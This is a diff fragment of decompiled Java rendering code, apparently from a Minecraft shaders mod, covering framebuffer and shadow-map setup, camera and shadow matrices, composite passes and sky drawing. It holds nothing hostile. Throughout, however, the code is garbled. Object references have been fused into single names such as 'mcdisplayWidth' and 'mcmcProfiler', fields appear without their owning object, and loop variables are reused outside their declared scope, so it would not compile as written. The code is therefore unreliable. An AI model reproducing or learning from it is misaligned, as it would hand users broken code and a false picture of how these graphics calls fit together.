+  {
+    renderDisplayHeight = 0;
+  }
+  
+  public static void scheduleResizeShadow()
+  {
+    needResizeShadow = true;
+  }
+  
+  private static void resize()
+  {
+    renderDisplayWidth = mcdisplayWidth;
+    renderDisplayHeight = mcdisplayHeight;
+    renderWidth = Math.round(renderDisplayWidth * configRenderResMul);
+    renderHeight = Math.round(renderDisplayHeight * configRenderResMul);
+    setupFrameBuffer();
+  }
+  
+  private static void resizeShadow()
+  {
+    needResizeShadow = false;
+    shadowMapWidth = Math.round(spShadowMapWidth * configShadowResMul);
+    shadowMapHeight = Math.round(spShadowMapHeight * configShadowResMul);
+    setupShadowFrameBuffer();
+  }
+  
+  private static void setupFrameBuffer()
+  {
+    if (dfb != 0)
+    {
+      EXTFramebufferObject.glDeleteFramebuffersEXT(dfb);
+      GlStateManager.deleteTextures(dfbDepthTextures);
+      GlStateManager.deleteTextures(dfbColorTextures);
+    }
+    
+    dfb = EXTFramebufferObject.glGenFramebuffersEXT();
+    GL11.glGenTextures((IntBuffer)dfbDepthTextures.clear().limit(usedDepthBuffers));
+    GL11.glGenTextures((IntBuffer)dfbColorTextures.clear().limit(16));
+    dfbDepthTextures.position(0);
+    dfbColorTextures.position(0);
+    dfbColorTextures.get(dfbColorTexturesA).position(0);
+    EXTFramebufferObject.glBindFramebufferEXT(36160, dfb);
+    GL20.glDrawBuffers(0);
+    GL11.glReadBuffer(0);
+    
+
+    for (int status = 0; status < usedDepthBuffers; status++)
+    {
+      GlStateManager.func_179144_i(dfbDepthTextures.get(status));
+      GL11.glTexParameteri(3553, 10242, 10496);
+      GL11.glTexParameteri(3553, 10243, 10496);
+      GL11.glTexParameteri(3553, 10241, 9728);
+      GL11.glTexParameteri(3553, 10240, 9728);
+      GL11.glTexParameteri(3553, 34891, 6409);
+      GL11.glTexImage2D(3553, 0, 6402, renderWidth, renderHeight, 0, 6402, 5126, null);
+    }
+    
+    EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36096, 3553, dfbDepthTextures.get(0), 0);
+    GL20.glDrawBuffers(dfbDrawBuffers);
+    GL11.glReadBuffer(0);
+    checkGLError("FT d");
+    
+    for (status = 0; status < usedColorBuffers; status++)
+    {
+      GlStateManager.func_179144_i(dfbColorTexturesA[status]);
+      GL11.glTexParameteri(3553, 10242, 10496);
+      GL11.glTexParameteri(3553, 10243, 10496);
+      GL11.glTexParameteri(3553, 10241, 9729);
+      GL11.glTexParameteri(3553, 10240, 9729);
+      GL11.glTexImage2D(3553, 0, gbuffersFormat[status], renderWidth, renderHeight, 0, 32993, 33639, null);
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + status, 3553, dfbColorTexturesA[status], 0);
+      checkGLError("FT c");
+    }
+    
+    for (status = 0; status < usedColorBuffers; status++)
+    {
+      GlStateManager.func_179144_i(dfbColorTexturesA[(8 + status)]);
+      GL11.glTexParameteri(3553, 10242, 10496);
+      GL11.glTexParameteri(3553, 10243, 10496);
+      GL11.glTexParameteri(3553, 10241, 9729);
+      GL11.glTexParameteri(3553, 10240, 9729);
+      GL11.glTexImage2D(3553, 0, gbuffersFormat[status], renderWidth, renderHeight, 0, 32993, 33639, null);
+      checkGLError("FT ca");
+    }
+    
+    status = EXTFramebufferObject.glCheckFramebufferStatusEXT(36160);
+    
+    if (status == 36058)
+    {
+      printChatAndLogError("[Shaders] Error: Failed framebuffer incomplete formats");
+      
+      for (int i = 0; i < usedColorBuffers; i++)
+      {
+        GlStateManager.func_179144_i(dfbColorTextures.get(i));
+        GL11.glTexImage2D(3553, 0, 6408, renderWidth, renderHeight, 0, 32993, 33639, null);
+        EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + i, 3553, dfbColorTextures.get(i), 0);
+        checkGLError("FT c");
+      }
+      
+      status = EXTFramebufferObject.glCheckFramebufferStatusEXT(36160);
+      
+      if (status == 36053)
+      {
+        SMCLog.info("complete");
+      }
+    }
+    
+    GlStateManager.func_179144_i(0);
+    
+    if (status != 36053)
+    {
+      printChatAndLogError("[Shaders] Error: Failed creating framebuffer! (Status " + status + ")");
+    }
+    else
+    {
+      SMCLog.info("Framebuffer created.");
+    }
+  }
+  
+  private static void setupShadowFrameBuffer()
+  {
+    if (usedShadowDepthBuffers != 0)
+    {
+      if (sfb != 0)
+      {
+        EXTFramebufferObject.glDeleteFramebuffersEXT(sfb);
+        GlStateManager.deleteTextures(sfbDepthTextures);
+        GlStateManager.deleteTextures(sfbColorTextures);
+      }
+      
+      sfb = EXTFramebufferObject.glGenFramebuffersEXT();
+      EXTFramebufferObject.glBindFramebufferEXT(36160, sfb);
+      GL11.glDrawBuffer(0);
+      GL11.glReadBuffer(0);
+      GL11.glGenTextures((IntBuffer)sfbDepthTextures.clear().limit(usedShadowDepthBuffers));
+      GL11.glGenTextures((IntBuffer)sfbColorTextures.clear().limit(usedShadowColorBuffers));
+      sfbDepthTextures.position(0);
+      sfbColorTextures.position(0);
+      
+
+
+      for (int status = 0; status < usedShadowDepthBuffers; status++)
+      {
+        GlStateManager.func_179144_i(sfbDepthTextures.get(status));
+        GL11.glTexParameterf(3553, 10242, 10496.0F);
+        GL11.glTexParameterf(3553, 10243, 10496.0F);
+        int filter = shadowFilterNearest[status] != 0 ? 9728 : 9729;
+        GL11.glTexParameteri(3553, 10241, filter);
+        GL11.glTexParameteri(3553, 10240, filter);
+        
+        if (shadowHardwareFilteringEnabled[status] != 0)
+        {
+          GL11.glTexParameteri(3553, 34892, 34894);
+        }
+        
+        GL11.glTexImage2D(3553, 0, 6402, shadowMapWidth, shadowMapHeight, 0, 6402, 5126, null);
+      }
+      
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36096, 3553, sfbDepthTextures.get(0), 0);
+      checkGLError("FT sd");
+      
+      for (status = 0; status < usedShadowColorBuffers; status++)
+      {
+        GlStateManager.func_179144_i(sfbColorTextures.get(status));
+        GL11.glTexParameterf(3553, 10242, 10496.0F);
+        GL11.glTexParameterf(3553, 10243, 10496.0F);
+        int filter = shadowColorFilterNearest[status] != 0 ? 9728 : 9729;
+        GL11.glTexParameteri(3553, 10241, filter);
+        GL11.glTexParameteri(3553, 10240, filter);
+        GL11.glTexImage2D(3553, 0, 6408, shadowMapWidth, shadowMapHeight, 0, 32993, 33639, null);
+        EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + status, 3553, sfbColorTextures.get(status), 0);
+        checkGLError("FT sc");
+      }
+      
+      GlStateManager.func_179144_i(0);
+      
+      if (usedShadowColorBuffers > 0)
+      {
+        GL20.glDrawBuffers(sfbDrawBuffers);
+      }
+      
+      status = EXTFramebufferObject.glCheckFramebufferStatusEXT(36160);
+      
+      if (status != 36053)
+      {
+        printChatAndLogError("[Shaders] Error: Failed creating shadow framebuffer! (Status " + status + ")");
+      }
+      else
+      {
+        SMCLog.info("Shadow framebuffer created.");
+      }
+    }
+  }
+  
+  public static void beginRender(Minecraft minecraft, float partialTicks, long finishTimeNano)
+  {
+    checkGLError("pre beginRender");
+    checkWorldChanged(mctheWorld);
+    mc = minecraft;
+    mcmcProfiler.startSection("init");
+    entityRenderer = mcentityRenderer;
+    
+    if (!isShaderPackInitialized)
+    {
+      try
+      {
+        init();
+      }
+      catch (IllegalStateException var7)
+      {
+        if (Config.normalize(var7.getMessage()).equals("Function is not supported"))
+        {
+          printChatAndLogError("[Shaders] Error: " + var7.getMessage());
+          var7.printStackTrace();
+          setShaderPack(packNameNone);
+          return;
+        }
+      }
+    }
+    
+    if ((mcdisplayWidth != renderDisplayWidth) || (mcdisplayHeight != renderDisplayHeight))
+    {
+      resize();
+    }
+    
+    if (needResizeShadow)
+    {
+      resizeShadow();
+    }
+    
+    worldTime = mctheWorld.getWorldTime();
+    diffWorldTime = (worldTime - lastWorldTime) % 24000L;
+    
+    if (diffWorldTime < 0L)
+    {
+      diffWorldTime += 24000L;
+    }
+    
+    lastWorldTime = worldTime;
+    moonPhase = mctheWorld.getMoonPhase();
+    systemTime = System.currentTimeMillis();
+    
+    if (lastSystemTime == 0L)
+    {
+      lastSystemTime = systemTime;
+    }
+    
+    diffSystemTime = systemTime - lastSystemTime;
+    lastSystemTime = systemTime;
+    frameTimeCounter += (float)diffSystemTime * 0.001F;
+    frameTimeCounter %= 3600.0F;
+    rainStrength = theWorld.getRainStrength(partialTicks);
+    float renderViewEntity = (float)diffSystemTime * 0.01F;
+    float i = (float)Math.exp(Math.log(0.5D) * renderViewEntity / (wetness < rainStrength ? drynessHalfLife : wetnessHalfLife));
+    wetness = wetness * i + rainStrength * (1.0F - i);
+    Entity var8 = mc.func_175606_aa();
+    isSleeping = ((var8 instanceof EntityLivingBase)) && (((EntityLivingBase)var8).isPlayerSleeping());
+    eyePosY = (float)posY * partialTicks + (float)lastTickPosY * (1.0F - partialTicks);
+    eyeBrightness = var8.getBrightnessForRender(partialTicks);
+    i = (float)diffSystemTime * 0.01F;
+    float temp2 = (float)Math.exp(Math.log(0.5D) * i / eyeBrightnessHalflife);
+    eyeBrightnessFadeX = eyeBrightnessFadeX * temp2 + (eyeBrightness & 0xFFFF) * (1.0F - temp2);
+    eyeBrightnessFadeY = eyeBrightnessFadeY * temp2 + (eyeBrightness >> 16) * (1.0F - temp2);
+    isEyeInWater = (mcgameSettings.thirdPersonView == 0) && (!isSleeping) && (mcthePlayer.isInsideOfMaterial(net.minecraft.block.material.Material.water)) ? 1 : 0;
+    Vec3 var9 = mctheWorld.getSkyColor(mc.func_175606_aa(), partialTicks);
+    skyColorR = (float)xCoord;
+    skyColorG = (float)yCoord;
+    skyColorB = (float)zCoord;
+    isRenderingWorld = true;
+    isCompositeRendered = false;
+    isHandRendered = false;
+    
+    if (usedShadowDepthBuffers >= 1)
+    {
+      GlStateManager.setActiveTexture(33988);
+      GlStateManager.func_179144_i(sfbDepthTextures.get(0));
+      
+      if (usedShadowDepthBuffers >= 2)
+      {
+        GlStateManager.setActiveTexture(33989);
+        GlStateManager.func_179144_i(sfbDepthTextures.get(1));
+      }
+    }
+    
+    GlStateManager.setActiveTexture(33984);
+    
+
+    for (int var10 = 0; var10 < usedColorBuffers; var10++)
+    {
+      GlStateManager.func_179144_i(dfbColorTexturesA[var10]);
+      GL11.glTexParameteri(3553, 10240, 9729);
+      GL11.glTexParameteri(3553, 10241, 9729);
+      GlStateManager.func_179144_i(dfbColorTexturesA[(8 + var10)]);
+      GL11.glTexParameteri(3553, 10240, 9729);
+      GL11.glTexParameteri(3553, 10241, 9729);
+    }
+    
+    GlStateManager.func_179144_i(0);
+    
+    for (var10 = 0; (var10 < 4) && (4 + var10 < usedColorBuffers); var10++)
+    {
+      GlStateManager.setActiveTexture(33991 + var10);
+      GlStateManager.func_179144_i(dfbColorTextures.get(4 + var10));
+    }
+    
+    GlStateManager.setActiveTexture(33990);
+    GlStateManager.func_179144_i(dfbDepthTextures.get(0));
+    
+    if (usedDepthBuffers >= 2)
+    {
+      GlStateManager.setActiveTexture(33995);
+      GlStateManager.func_179144_i(dfbDepthTextures.get(1));
+      
+      if (usedDepthBuffers >= 3)
+      {
+        GlStateManager.setActiveTexture(33996);
+        GlStateManager.func_179144_i(dfbDepthTextures.get(2));
+      }
+    }
+    
+    for (var10 = 0; var10 < usedShadowColorBuffers; var10++)
+    {
+      GlStateManager.setActiveTexture(33997 + var10);
+      GlStateManager.func_179144_i(sfbColorTextures.get(var10));
+    }
+    
+    if (noiseTextureEnabled)
+    {
+      GlStateManager.setActiveTexture(33984 + noiseTexturetextureUnit);
+      GlStateManager.func_179144_i(noiseTexture.getID());
+      GL11.glTexParameteri(3553, 10242, 10497);
+      GL11.glTexParameteri(3553, 10243, 10497);
+      GL11.glTexParameteri(3553, 10240, 9729);
+      GL11.glTexParameteri(3553, 10241, 9729);
+    }
+    
+    GlStateManager.setActiveTexture(33984);
+    previousCameraPositionX = cameraPositionX;
+    previousCameraPositionY = cameraPositionY;
+    previousCameraPositionZ = cameraPositionZ;
+    previousProjection.position(0);
+    projection.position(0);
+    previousProjection.put(projection);
+    previousProjection.position(0);
+    projection.position(0);
+    previousModelView.position(0);
+    modelView.position(0);
+    previousModelView.put(modelView);
+    previousModelView.position(0);
+    modelView.position(0);
+    checkGLError("beginRender");
+    ShadersRender.renderShadowMap(entityRenderer, 0, partialTicks, finishTimeNano);
+    mcmcProfiler.endSection();
+    EXTFramebufferObject.glBindFramebufferEXT(36160, dfb);
+    
+    for (var10 = 0; var10 < usedColorBuffers; var10++)
+    {
+      colorTexturesToggle[var10] = 0;
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + var10, 3553, dfbColorTexturesA[var10], 0);
+    }
+    
+    checkGLError("end beginRender");
+  }
+  
+  private static void checkWorldChanged(World world)
+  {
+    if (currentWorld != world)
+    {
+      World oldWorld = currentWorld;
+      currentWorld = world;
+      
+      if ((oldWorld != null) && (world != null))
+      {
+        int dimIdOld = provider.getDimensionId();
+        int dimIdNew = provider.getDimensionId();
+        boolean dimShadersOld = shaderPackDimensions.contains(Integer.valueOf(dimIdOld));
+        boolean dimShadersNew = shaderPackDimensions.contains(Integer.valueOf(dimIdNew));
+        
+        if ((dimShadersOld) || (dimShadersNew))
+        {
+          uninit();
+        }
+      }
+    }
+  }
+  
+  public static void beginRenderPass(int pass, float partialTicks, long finishTimeNano)
+  {
+    if (!isShadowPass)
+    {
+      EXTFramebufferObject.glBindFramebufferEXT(36160, dfb);
+      GL11.glViewport(0, 0, renderWidth, renderHeight);
+      activeDrawBuffers = null;
+      ShadersTex.bindNSTextures(defaultTexture.getMultiTexID());
+      useProgram(2);
+      checkGLError("end beginRenderPass");
+    }
+  }
+  
+  public static void setViewport(int vx, int vy, int vw, int vh)
+  {
+    GlStateManager.colorMask(true, true, true, true);
+    
+    if (isShadowPass)
+    {
+      GL11.glViewport(0, 0, shadowMapWidth, shadowMapHeight);
+    }
+    else
+    {
+      GL11.glViewport(0, 0, renderWidth, renderHeight);
+      EXTFramebufferObject.glBindFramebufferEXT(36160, dfb);
+      isRenderingDfb = true;
+      GlStateManager.enableCull();
+      GlStateManager.enableDepth();
+      setDrawBuffers(drawBuffersNone);
+      useProgram(2);
+      checkGLError("beginRenderPass");
+    }
+  }
+  
+  public static int setFogMode(int val)
+  {
+    fogMode = val;
+    return val;
+  }
+  
+  public static void setFogColor(float r, float g, float b)
+  {
+    fogColorR = r;
+    fogColorG = g;
+    fogColorB = b;
+  }
+  
+  public static void setClearColor(float red, float green, float blue, float alpha)
+  {
+    GlStateManager.clearColor(red, green, blue, alpha);
+    clearColorR = red;
+    clearColorG = green;
+    clearColorB = blue;
+  }
+  
+  public static void clearRenderBuffer()
+  {
+    if (isShadowPass)
+    {
+      checkGLError("shadow clear pre");
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36096, 3553, sfbDepthTextures.get(0), 0);
+      GL11.glClearColor(1.0F, 1.0F, 1.0F, 1.0F);
+      GL20.glDrawBuffers(programsDrawBuffers[30]);
+      checkFramebufferStatus("shadow clear");
+      GL11.glClear(16640);
+      checkGLError("shadow clear");
+    }
+    else
+    {
+      checkGLError("clear pre");
+      GL20.glDrawBuffers(36064);
+      GL11.glClear(16384);
+      GL20.glDrawBuffers(36065);
+      GL11.glClearColor(1.0F, 1.0F, 1.0F, 1.0F);
+      GL11.glClear(16384);
+      
+      for (int i = 2; i < usedColorBuffers; i++)
+      {
+        GL20.glDrawBuffers(36064 + i);
+        GL11.glClearColor(0.0F, 0.0F, 0.0F, 0.0F);
+        GL11.glClear(16384);
+      }
+      
+      setDrawBuffers(dfbDrawBuffers);
+      checkFramebufferStatus("clear");
+      checkGLError("clear");
+    }
+  }
+  
+  public static void setCamera(float partialTicks)
+  {
+    Entity viewEntity = mc.func_175606_aa();
+    double x = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+    double y = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+    double z = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+    cameraPositionX = x;
+    cameraPositionY = y;
+    cameraPositionZ = z;
+    GL11.glGetFloat(2983, (FloatBuffer)projection.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)projectionInverse.position(0), (FloatBuffer)projection.position(0), faProjectionInverse, faProjection);
+    projection.position(0);
+    projectionInverse.position(0);
+    GL11.glGetFloat(2982, (FloatBuffer)modelView.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)modelViewInverse.position(0), (FloatBuffer)modelView.position(0), faModelViewInverse, faModelView);
+    modelView.position(0);
+    modelViewInverse.position(0);
+    checkGLError("setCamera");
+  }
+  
+  public static void setCameraShadow(float partialTicks)
+  {
+    Entity viewEntity = mc.func_175606_aa();
+    double x = lastTickPosX + (posX - lastTickPosX) * partialTicks;
+    double y = lastTickPosY + (posY - lastTickPosY) * partialTicks;
+    double z = lastTickPosZ + (posZ - lastTickPosZ) * partialTicks;
+    cameraPositionX = x;
+    cameraPositionY = y;
+    cameraPositionZ = z;
+    GL11.glGetFloat(2983, (FloatBuffer)projection.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)projectionInverse.position(0), (FloatBuffer)projection.position(0), faProjectionInverse, faProjection);
+    projection.position(0);
+    projectionInverse.position(0);
+    GL11.glGetFloat(2982, (FloatBuffer)modelView.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)modelViewInverse.position(0), (FloatBuffer)modelView.position(0), faModelViewInverse, faModelView);
+    modelView.position(0);
+    modelViewInverse.position(0);
+    GL11.glViewport(0, 0, shadowMapWidth, shadowMapHeight);
+    GL11.glMatrixMode(5889);
+    GL11.glLoadIdentity();
+    
+    if (shadowMapIsOrtho)
+    {
+      GL11.glOrtho(-shadowMapHalfPlane, shadowMapHalfPlane, -shadowMapHalfPlane, shadowMapHalfPlane, 0.05000000074505806D, 256.0D);
+    }
+    else
+    {
+      GLU.gluPerspective(shadowMapFOV, shadowMapWidth / shadowMapHeight, 0.05F, 256.0F);
+    }
+    
+    GL11.glMatrixMode(5888);
+    GL11.glLoadIdentity();
+    GL11.glTranslatef(0.0F, 0.0F, -100.0F);
+    GL11.glRotatef(90.0F, 1.0F, 0.0F, 0.0F);
+    celestialAngle = mctheWorld.getCelestialAngle(partialTicks);
+    sunAngle = celestialAngle < 0.75F ? celestialAngle + 0.25F : celestialAngle - 0.75F;
+    float angle = celestialAngle * -360.0F;
+    float angleInterval = shadowAngleInterval > 0.0F ? angle % shadowAngleInterval - shadowAngleInterval * 0.5F : 0.0F;
+    
+    if (sunAngle <= 0.5D)
+    {
+      GL11.glRotatef(angle - angleInterval, 0.0F, 0.0F, 1.0F);
+      GL11.glRotatef(sunPathRotation, 1.0F, 0.0F, 0.0F);
+      shadowAngle = sunAngle;
+    }
+    else
+    {
+      GL11.glRotatef(angle + 180.0F - angleInterval, 0.0F, 0.0F, 1.0F);
+      GL11.glRotatef(sunPathRotation, 1.0F, 0.0F, 0.0F);
+      shadowAngle = sunAngle - 0.5F;
+    }
+    
+
+
+
+    if (shadowMapIsOrtho)
+    {
+      float raSun = shadowIntervalSize;
+      float x1 = raSun / 2.0F;
+      GL11.glTranslatef((float)x % raSun - x1, (float)y % raSun - x1, (float)z % raSun - x1);
+    }
+    
+    float raSun = sunAngle * 6.2831855F;
+    float x1 = (float)Math.cos(raSun);
+    float y1 = (float)Math.sin(raSun);
+    float raTilt = sunPathRotation * 6.2831855F;
+    float x2 = x1;
+    float y2 = y1 * (float)Math.cos(raTilt);
+    float z2 = y1 * (float)Math.sin(raTilt);
+    
+    if (sunAngle > 0.5D)
+    {
+      x2 = -x1;
+      y2 = -y2;
+      z2 = -z2;
+    }
+    
+    shadowLightPositionVector[0] = x2;
+    shadowLightPositionVector[1] = y2;
+    shadowLightPositionVector[2] = z2;
+    shadowLightPositionVector[3] = 0.0F;
+    GL11.glGetFloat(2983, (FloatBuffer)shadowProjection.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)shadowProjectionInverse.position(0), (FloatBuffer)shadowProjection.position(0), faShadowProjectionInverse, faShadowProjection);
+    shadowProjection.position(0);
+    shadowProjectionInverse.position(0);
+    GL11.glGetFloat(2982, (FloatBuffer)shadowModelView.position(0));
+    SMath.invertMat4FBFA((FloatBuffer)shadowModelViewInverse.position(0), (FloatBuffer)shadowModelView.position(0), faShadowModelViewInverse, faShadowModelView);
+    shadowModelView.position(0);
+    shadowModelViewInverse.position(0);
+    setProgramUniformMatrix4ARB("gbufferProjection", false, projection);
+    setProgramUniformMatrix4ARB("gbufferProjectionInverse", false, projectionInverse);
+    setProgramUniformMatrix4ARB("gbufferPreviousProjection", false, previousProjection);
+    setProgramUniformMatrix4ARB("gbufferModelView", false, modelView);
+    setProgramUniformMatrix4ARB("gbufferModelViewInverse", false, modelViewInverse);
+    setProgramUniformMatrix4ARB("gbufferPreviousModelView", false, previousModelView);
+    setProgramUniformMatrix4ARB("shadowProjection", false, shadowProjection);
+    setProgramUniformMatrix4ARB("shadowProjectionInverse", false, shadowProjectionInverse);
+    setProgramUniformMatrix4ARB("shadowModelView", false, shadowModelView);
+    setProgramUniformMatrix4ARB("shadowModelViewInverse", false, shadowModelViewInverse);
+    mcgameSettings.thirdPersonView = 1;
+    checkGLError("setCamera");
+  }
+  
+  public static void preCelestialRotate()
+  {
+    setUpPosition();
+    GL11.glRotatef(sunPathRotation * 1.0F, 0.0F, 0.0F, 1.0F);
+    checkGLError("preCelestialRotate");
+  }
+  
+  public static void postCelestialRotate()
+  {
+    FloatBuffer modelView = tempMatrixDirectBuffer;
+    modelView.clear();
+    GL11.glGetFloat(2982, modelView);
+    modelView.get(tempMat, 0, 16);
+    SMath.multiplyMat4xVec4(sunPosition, tempMat, sunPosModelView);
+    SMath.multiplyMat4xVec4(moonPosition, tempMat, moonPosModelView);
+    System.arraycopy(shadowAngle == sunAngle ? sunPosition : moonPosition, 0, shadowLightPosition, 0, 3);
+    checkGLError("postCelestialRotate");
+  }
+  
+  public static void setUpPosition()
+  {
+    FloatBuffer modelView = tempMatrixDirectBuffer;
+    modelView.clear();
+    GL11.glGetFloat(2982, modelView);
+    modelView.get(tempMat, 0, 16);
+    SMath.multiplyMat4xVec4(upPosition, tempMat, upPosModelView);
+  }
+  
+  public static void genCompositeMipmap()
+  {
+    if (hasGlGenMipmap)
+    {
+      for (int i = 0; i < usedColorBuffers; i++)
+      {
+        if ((activeCompositeMipmapSetting & 1 << i) != 0)
+        {
+          GlStateManager.setActiveTexture(33984 + colorTextureTextureImageUnit[i]);
+          GL11.glTexParameteri(3553, 10241, 9987);
+          org.lwjgl.opengl.GL30.glGenerateMipmap(3553);
+        }
+      }
+      
+      GlStateManager.setActiveTexture(33984);
+    }
+  }
+  
+  public static void drawComposite()
+  {
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glBegin(7);
+    GL11.glTexCoord2f(0.0F, 0.0F);
+    GL11.glVertex3f(0.0F, 0.0F, 0.0F);
+    GL11.glTexCoord2f(1.0F, 0.0F);
+    GL11.glVertex3f(1.0F, 0.0F, 0.0F);
+    GL11.glTexCoord2f(1.0F, 1.0F);
+    GL11.glVertex3f(1.0F, 1.0F, 0.0F);
+    GL11.glTexCoord2f(0.0F, 1.0F);
+    GL11.glVertex3f(0.0F, 1.0F, 0.0F);
+    GL11.glEnd();
+  }
+  
+  public static void renderCompositeFinal()
+  {
+    if (!isShadowPass)
+    {
+      checkGLError("pre-renderCompositeFinal");
+      GL11.glPushMatrix();
+      GL11.glLoadIdentity();
+      GL11.glMatrixMode(5889);
+      GL11.glPushMatrix();
+      GL11.glLoadIdentity();
+      GL11.glOrtho(0.0D, 1.0D, 0.0D, 1.0D, 0.0D, 1.0D);
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.func_179098_w();
+      GlStateManager.disableAlpha();
+      GlStateManager.disableBlend();
+      GlStateManager.enableDepth();
+      GlStateManager.depthFunc(519);
+      GlStateManager.depthMask(false);
+      GlStateManager.disableLighting();
+      
+      if (usedShadowDepthBuffers >= 1)
+      {
+        GlStateManager.setActiveTexture(33988);
+        GlStateManager.func_179144_i(sfbDepthTextures.get(0));
+        
+        if (usedShadowDepthBuffers >= 2)
+        {
+          GlStateManager.setActiveTexture(33989);
+          GlStateManager.func_179144_i(sfbDepthTextures.get(1));
+        }
+      }
+      
+
+
+      for (int enableAltBuffers = 0; enableAltBuffers < usedColorBuffers; enableAltBuffers++)
+      {
+        GlStateManager.setActiveTexture(33984 + colorTextureTextureImageUnit[enableAltBuffers]);
+        GlStateManager.func_179144_i(dfbColorTexturesA[enableAltBuffers]);
+      }
+      
+      GlStateManager.setActiveTexture(33990);
+      GlStateManager.func_179144_i(dfbDepthTextures.get(0));
+      
+      if (usedDepthBuffers >= 2)
+      {
+        GlStateManager.setActiveTexture(33995);
+        GlStateManager.func_179144_i(dfbDepthTextures.get(1));
+        
+        if (usedDepthBuffers >= 3)
+        {
+          GlStateManager.setActiveTexture(33996);
+          GlStateManager.func_179144_i(dfbDepthTextures.get(2));
+        }
+      }
+      
+      for (enableAltBuffers = 0; enableAltBuffers < usedShadowColorBuffers; enableAltBuffers++)
+      {
+        GlStateManager.setActiveTexture(33997 + enableAltBuffers);
+        GlStateManager.func_179144_i(sfbColorTextures.get(enableAltBuffers));
+      }
+      
+      if (noiseTextureEnabled)
+      {
+        GlStateManager.setActiveTexture(33984 + noiseTexturetextureUnit);
+        GlStateManager.func_179144_i(noiseTexture.getID());
+        GL11.glTexParameteri(3553, 10242, 10497);
+        GL11.glTexParameteri(3553, 10243, 10497);
+        GL11.glTexParameteri(3553, 10240, 9729);
+        GL11.glTexParameteri(3553, 10241, 9729);
+      }
+      
+      GlStateManager.setActiveTexture(33984);
+      boolean var5 = true;
+      
+
+      for (int maskR = 0; maskR < usedColorBuffers; maskR++)
+      {
+        EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + maskR, 3553, dfbColorTexturesA[(8 + maskR)], 0);
+      }
+      
+      EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36096, 3553, dfbDepthTextures.get(0), 0);
+      GL20.glDrawBuffers(dfbDrawBuffers);
+      checkGLError("pre-composite");
+      
+      for (maskR = 0; maskR < 8; maskR++)
+      {
+        if (programsID[(21 + maskR)] != 0)
+        {
+          useProgram(21 + maskR);
+          checkGLError(programNames[(21 + maskR)]);
+          
+          if (activeCompositeMipmapSetting != 0)
+          {
+            genCompositeMipmap();
+          }
+          
+          drawComposite();
+          
+          for (int i = 0; i < usedColorBuffers; i++)
+          {
+            if (programsToggleColorTextures[(21 + maskR)][i] != 0)
+            {
+              int t0 = colorTexturesToggle[i];
+              int t1 = colorTexturesToggle[i] = 8 - t0;
+              GlStateManager.setActiveTexture(33984 + colorTextureTextureImageUnit[i]);
+              GlStateManager.func_179144_i(dfbColorTexturesA[(t1 + i)]);
+              EXTFramebufferObject.glFramebufferTexture2DEXT(36160, 36064 + i, 3553, dfbColorTexturesA[(t0 + i)], 0);
+            }
+          }
+          
+          GlStateManager.setActiveTexture(33984);
+        }
+      }
+      
+      checkGLError("composite");
+      isRenderingDfb = false;
+      mc.getFramebuffer().bindFramebuffer(true);
+      OpenGlHelper.func_153188_a(OpenGlHelper.field_153198_e, OpenGlHelper.field_153200_g, 3553, mcgetFramebufferframebufferTexture, 0);
+      GL11.glViewport(0, 0, mcdisplayWidth, mcdisplayHeight);
+      
+      if (EntityRenderer.anaglyphEnable)
+      {
+        boolean var6 = EntityRenderer.anaglyphField != 0;
+        GlStateManager.colorMask(var6, !var6, !var6, true);
+      }
+      
+      GlStateManager.depthMask(true);
+      GL11.glClearColor(clearColorR, clearColorG, clearColorB, 1.0F);
+      GL11.glClear(16640);
+      GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+      GlStateManager.func_179098_w();
+      GlStateManager.disableAlpha();
+      GlStateManager.disableBlend();
+      GlStateManager.enableDepth();
+      GlStateManager.depthFunc(519);
+      GlStateManager.depthMask(false);
+      checkGLError("pre-final");
+      useProgram(29);
+      checkGLError("final");
+      
+      if (activeCompositeMipmapSetting != 0)
+      {
+        genCompositeMipmap();
+      }
+      
+      drawComposite();
+      checkGLError("renderCompositeFinal");
+      isCompositeRendered = true;
+      GlStateManager.enableLighting();
+      GlStateManager.func_179098_w();
+      GlStateManager.enableAlpha();
+      GlStateManager.enableBlend();
+      GlStateManager.depthFunc(515);
+      GlStateManager.depthMask(true);
+      GL11.glPopMatrix();
+      GL11.glMatrixMode(5888);
+      GL11.glPopMatrix();
+      useProgram(0);
+    }
+  }
+  
+  public static void endRender()
+  {
+    if (isShadowPass)
+    {
+      checkGLError("shadow endRender");
+    }
+    else
+    {
+      if (!isCompositeRendered)
+      {
+        renderCompositeFinal();
+      }
+      
+      isRenderingWorld = false;
+      GlStateManager.colorMask(true, true, true, true);
+      useProgram(0);
+      net.minecraft.client.renderer.RenderHelper.disableStandardItemLighting();
+      checkGLError("endRender end");
+    }
+  }
+  
+  public static void beginSky()
+  {
+    isRenderingSky = true;
+    fogEnabled = true;
+    setDrawBuffers(dfbDrawBuffers);
+    useProgram(5);
+    pushEntity(-2, 0);
+  }
+  
+  public static void setSkyColor(Vec3 v3color)
+  {
+    skyColorR = (float)xCoord;
+    skyColorG = (float)yCoord;
+    skyColorB = (float)zCoord;
+    setProgramUniform3f("skyColor", skyColorR, skyColorG, skyColorB);
+  }
+  
+  public static void drawHorizon()
+  {
+    WorldRenderer tess = Tessellator.getInstance().getWorldRenderer();
+    float farDistance = mcgameSettings.renderDistanceChunks * 16;
+    double xzq = farDistance * 0.9238D;
+    double xzp = farDistance * 0.3826D;
+    double xzn = -xzp;
+    double xzm = -xzq;
+    double top = 16.0D;
+    double bot = -cameraPositionY;
+    tess.startDrawingQuads();
